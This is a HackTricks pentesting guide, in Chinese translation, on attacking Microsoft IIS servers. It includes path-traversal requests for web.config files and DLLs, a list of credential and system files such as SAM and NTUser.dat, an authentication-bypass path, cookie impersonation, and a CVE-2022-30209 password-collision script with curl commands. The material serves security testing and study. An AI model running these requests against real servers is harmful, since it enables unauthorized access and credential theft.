hacktricks/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md

265 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IIS - Internet Information Services
{{#include ../../banners/hacktricks-training.md}}
测试可执行文件扩展名:
- asp
- aspx
- config
- php
## 内部IP地址泄露
在任何返回302的IIS服务器上您可以尝试去掉Host头并使用HTTP/1.0响应中的Location头可能会指向内部IP地址
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
响应披露内部IP
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## 执行 .config 文件
您可以上传 .config 文件并使用它们执行代码。实现此目的的一种方法是在文件末尾的 HTML 注释中附加代码:[在这里下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
有关利用此漏洞的更多信息和技术 [在这里](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS 发现暴力破解
下载我创建的列表:
{{#file}}
iisfinal.txt
{{#endfile}}
它是通过合并以下列表的内容创建的:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
使用时不要添加任何扩展名,所需的文件已经包含它。
## 路径遍历
### 泄露源代码
查看完整的写作在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 总结来说,应用程序的文件夹中有多个 web.config 文件,里面引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\
> 从 **下载的 Dlls** 中,还可以找到 **新的 namespaces**,您应该尝试访问并获取 web.config 文件,以便找到新的 namespaces 和 assemblyIdentity。\
> 此外,文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。
**.Net MVC 应用程序** 中,**web.config** 文件通过 **"assemblyIdentity"** XML 标签指定应用程序所依赖的每个二进制文件,发挥着至关重要的作用。
### **探索二进制文件**
访问 **web.config** 文件的示例如下:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
此请求揭示了各种设置和依赖项,例如:
- **EntityFramework** 版本
- **AppSettings** 用于网页、客户端验证和 JavaScript
- **System.web** 认证和运行时的配置
- **System.webServer** 模块设置
- **Runtime** 程序集绑定,适用于多个库,如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc**
这些设置表明某些文件,例如 **/bin/WebGrease.dll**,位于应用程序的 /bin 文件夹内。
### **根目录文件**
在根目录中找到的文件,如 **/global.asax** 和 **/connectionstrings.config**(包含敏感密码),对于应用程序的配置和操作至关重要。
### **命名空间和 Web.Config**
MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**,以避免在每个文件中重复声明,如请求下载另一个 **web.config** 所示:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **下载 DLLs**
提到自定义命名空间暗示在 /bin 目录中存在一个名为 "**WebApplication1**" 的 DLL。接下来显示了下载 **WebApplication1.dll** 的请求:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
这表明在 /bin 目录中存在其他重要的 DLL例如 **System.Web.Mvc.dll****System.Web.Optimization.dll**
在一个 DLL 导入名为 **WebApplication1.Areas.Minded** 的命名空间的场景中,攻击者可能会推断出在可预测路径中存在其他 web.config 文件,例如 **/area-name/Views/**,其中包含特定的配置和对 /bin 文件夹中其他 DLL 的引用。例如,对 **/Minded/Views/web.config** 的请求可以揭示配置和命名空间,指示另一个 DLL **WebApplication1.AdditionalFeatures.dll** 的存在。
### 常见文件
来自 [这里](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 错误
如果您看到以下错误:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
这意味着服务器**没有在 Host 头中接收到正确的域名**。\
为了访问网页,您可以查看提供的**SSL 证书**,也许可以在其中找到域名/子域名。如果没有,您可能需要**暴力破解 VHosts**,直到找到正确的。
## 值得关注的旧 IIS 漏洞
### Microsoft IIS 波浪字符“\~”漏洞/特性 短文件/文件夹名称泄露
您可以尝试使用此**技术**来**枚举文件夹和文件**,即使它需要基本身份验证。\
如果服务器存在漏洞,此技术的主要限制是**只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
您可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
原始研究:[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
您还可以使用**metasploit**`use scanner/http/iis_shortname_scanner`
一个不错的主意是**找到发现文件的最终名称**,可以**询问 LLMs** 选项,就像在脚本 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中所做的那样。
### 基本身份验证绕过
**绕过**基本身份验证(**IIS 7.5**),尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php``/admin::$INDEX_ALLOCATION/admin.php`
您可以尝试将此**漏洞**与最后一个结合,以查找新的**文件夹**并**绕过**身份验证。
## ASP.NET Trace.AXD 启用调试
ASP.NET 包含调试模式,其文件名为 `trace.axd`
它保持对在一段时间内对应用程序所做的所有请求的详细日志。
此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息甚至可能包括用户名和密码。
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## ASPXAUTH Cookie
ASPXAUTH 使用以下信息:
- **`validationKey`**(字符串):用于签名验证的十六进制编码密钥。
- **`decryptionMethod`**(字符串):(默认“ AES”
- **`decryptionIV`**(字符串):十六进制编码的初始化向量(默认为零向量)。
- **`decryptionKey`**(字符串):用于解密的十六进制编码密钥。
然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件**用作**cookie**。因此,如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页,并且您**在被攻击的服务器上创建一个与您想要冒充的用户的电子邮件相同的用户**,您可能能够在第一个服务器中使用**第二个服务器的 cookie**并冒充该用户。\
这个攻击在这个 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。
## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个**密码哈希命中**已经在**缓存**中的密钥的攻击者将能够以该用户身份登录。
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
{{#include ../../banners/hacktricks-training.md}}